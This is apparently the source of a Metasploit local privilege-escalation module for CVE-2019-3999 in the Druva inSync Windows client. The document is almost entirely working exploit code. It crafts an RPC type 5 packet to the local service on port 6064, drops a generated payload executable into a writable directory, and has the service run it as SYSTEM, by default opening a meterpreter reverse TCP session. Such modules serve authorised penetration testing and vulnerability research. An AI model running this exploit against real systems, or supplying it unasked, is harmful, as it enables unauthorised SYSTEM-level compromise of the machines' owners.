## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Post::File include Post::Windows::Priv include Post::Windows::Services include Exploit::EXE include Exploit::FileDropper def initialize(info = {}) super( update_info( info, { 'Name' => 'Druva inSync inSyncCPHwnet64.exe RPC Type 5 Privilege Escalation', 'Description' => %q{ Druva inSync client for Windows exposes a network service on TCP port 6064 on the local network interface. inSync versions 6.5.2 and prior do not validate user-supplied program paths in RPC type 5 messages, allowing execution of arbitrary commands as SYSTEM. This module has been tested successfully on inSync version 6.5.2r99097 on Windows 7 SP1 (x64). }, 'License' => MSF_LICENSE, 'Author' => [ 'Chris Lyne', # Discovery and Python exploit (@lynerc) 'bcoles' # Metasploit ], 'References' => [ ['CVE', '2019-3999'], ['EDB', '48400'], ['PACKETSTORM', '157493'], ['URL', 'https://www.tenable.com/security/research/tra-2020-12'], ['URL', 'https://github.com/tenable/poc/blob/master/druva/inSync/druva_win_cphwnet64.py'], ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Automatic', {} ] ], 'DisclosureDate' => '2020-02-25', 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }, 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ] }, 'DefaultTarget' => 0 } ) ) register_advanced_options([ OptString.new( 'WritableDir', [ false, 'A directory where we can write files (%TEMP% by default)', nil ] ), ]) end def base_dir datastore['WritableDir'].blank? ? session.sys.config.getenv('TEMP') : datastore['WritableDir'].to_s end def service_exists?(service) srv_info = service_info(service) if srv_info.nil? vprint_warning('Unable to enumerate Windows services') return false end if srv_info && srv_info[:display].empty? return false end true end def execute_command(host, port, command) header = 'inSync PHC RPCW[v0002]' rpc_type = [5].pack('V') cmd = command.force_encoding('UTF-8').unpack('U*').pack('v*') pkt = header pkt << rpc_type pkt << [cmd.length].pack('V') pkt << cmd result = session.railgun.ws2_32.WSASocketA('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP', nil, nil, 0) unless result['GetLastError'] == 0 fail_with(Failure::Unknown, "Could not create socket: #{result['ErrorMessage']}") end socket = result['return'] sock_addr = [AF_INET].pack('v') sock_addr << [port].pack('n') sock_addr << Rex::Socket.addr_aton(host) sock_addr << "\x00" * 8 print_status("Connecting to #{host}:#{port} ...") result = client.railgun.ws2_32.connect(socket, sock_addr, sock_addr.length) unless result['GetLastError'] == 0 fail_with(Failure::Unreachable, "Could not connect to #{host}:#{port} : #{result['ErrorMessage']}") end print_status("Sending packet (#{pkt.length} bytes) to #{host}:#{port} ...") vprint_status("Sending: #{pkt.inspect}") result = session.railgun.ws2_32.sendto(socket, pkt, pkt.length, 0, sock_addr, sock_addr.length) unless result['GetLastError'] == 0 fail_with(Failure::NotVulnerable, "Could not send data to port: #{result['ErrorMessage']}") end session.railgun.ws2_32.closesocket(socket) end def check service = 'inSyncCPHService' unless service_exists?(service) return CheckCode::Safe("Service '#{service}' does not exist") end CheckCode::Detected("Service '#{service}' exists") end def exploit unless check == CheckCode::Detected fail_with(Failure::NotVulnerable, 'Target is not vulnerable') end if is_system? fail_with(Failure::BadConfig, 'Session already has SYSTEM privileges') end payload_path = "#{base_dir}\\#{Rex::Text.rand_text_alphanumeric(8..10)}.exe" payload_exe = generate_payload_exe vprint_status("Writing payload (#{payload.encoded.length} bytes) to #{payload_path} ...") write_file(payload_path, payload_exe) register_file_for_cleanup(payload_path) execute_command('127.0.0.1', 6064, payload_path) end end